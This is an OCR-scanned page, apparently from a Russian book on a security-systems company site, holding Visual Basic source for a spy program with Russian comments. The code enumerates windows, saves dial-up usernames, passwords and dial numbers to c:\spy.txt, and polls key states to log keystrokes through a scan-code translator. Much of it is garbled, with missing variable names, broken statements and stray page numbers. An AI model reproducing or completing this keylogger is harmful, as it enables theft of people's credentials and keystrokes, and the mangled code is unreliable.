8(495)909-90-01
8(964)644-46-00
pro@sio.su
Главная
Системы видеонаблюдения
Охранная сигнализация
Пожарная сигнализация
Система пожаротушения
Система контроля удаленного доступа
Оповещение и эвакуация
Контроль периметра
Система домофонии
Парковочные системы
Проектирование слаботочных сетей
Аварийный
контроль
Раздел: Документация

0 ... 35 36 37 38 39 40 41 ... 169

hchild = GetWindow(hwnd, GWJSHILD) // API ф-ция возвращает hWnd дочернего окна

While hchild <> О

cbChildName = GetWindowTextLength(hchild)

= GetWindowText(hchild, IpszChildName, cbChildName

+ 1)

If <> 0 Then

IpszChildName = Left(IpszChildName, rcj // обрезка

End If

hchild = hchild

i = i + 1

DoEvents // дает Windows обработать одно сообщение системной очереди (от задержек)

hchild =// next child

Wend End Sub

Sub LoadWnds () // CM.

DimAs String

Dim cbWinName As Integer DimAs Integer

Dim created As Integer Dim As Integer Dim i As Integer

hwnd = GetWindow(SpyWindow. hWnd, GW HWNDFIRST)

While hwnd <> 0 cbWinName =

IpszWinName = Space(127)

= GetWindowText(hwnd, IpszWinName, cbWinName + 1)

If <> 0 Then IpszWinName =

name = IpszWinName

hwnd = hwnd

IpszChildName

127 пробелов

Space (12 7) // забивает в переменную

строки под реальную длину

name

IpszChildName

116


i = i + 1 End If

DoEvents

hwnd = GetWindow(hwnd, gw hwndnext) Wend End Sub

Sub SaveDialoglnfo (User As String, PassWrd As String, DialNum As String)

DimAs Integer

= FreeFile

Open «c:\spy. txt» For Append As hFile

// Append открывает файл и перемещает указатель на конец файла

Print #hFile, «Connected» & Date & « — « & Time

Print #hFile, «User=» & User & «Pass«» & PassWrd & «Dial=» & DialNum

Close hFile

End Sub

SubAs String, TermBox As

String)

Dim hFile AsInteger hFile = FreeFile

Opentxt» For Append As hFile

Print«Term Box=» & TermBox

Print«Term Type=» & TermChar Close hFile

End Sub

Sub TimerProc2 ()

// процедура обработки второго таймера

Static ri As Integer Static k As Integer Static rs As String

For k = 0 To 255

ri =

// проверка нажатия/отпускания клавиш и устранение повторов

If (ri <> 0) And (Not key(k) ) Then TermChai = TermChar + Translate(k, True)

117


If (ri = 0) And key (к) Then rs = Translated, False) key(k) = ri <> 0 Next k End Sub

Function Translate (code As Integer, press As Integer) As String

// простенький транслятор скэн-кодов // аргумент press индицирует нажатие Shifts // возвращает строку в коде ASCII If code1 = 16 Then Shift = press: Exit Function If code = 8 Then Translate = «[В8]яИ Exit Function

If code - 32 Then Translate =Exit Function

If code = 13 Then Translate = Chr(13) +Exit

Function

If code > 64 And code < 91 Then

If Shift Then Translate = Chr(code)

Else

Translate - Chr(code + 32) End If

Exit Function

End If

If code > 47 And code < 58 Then If Shift Then

Translate = Choose (code — 47, «)», «!», «@», «#», «$», « % », « Л », « & », « * », « («)

// Choose выбирает одно из списочных значений от первого

Else

Translate

End If

Exit Function

End If

If code > 95 And code < 108 Then

Translate = Choose (code — 95, «0», «1», «2», «3», «4», «5», «6», «7», «8», «9», «*», «+»)

Function End If

118



0 ... 35 36 37 38 39 40 41 ... 169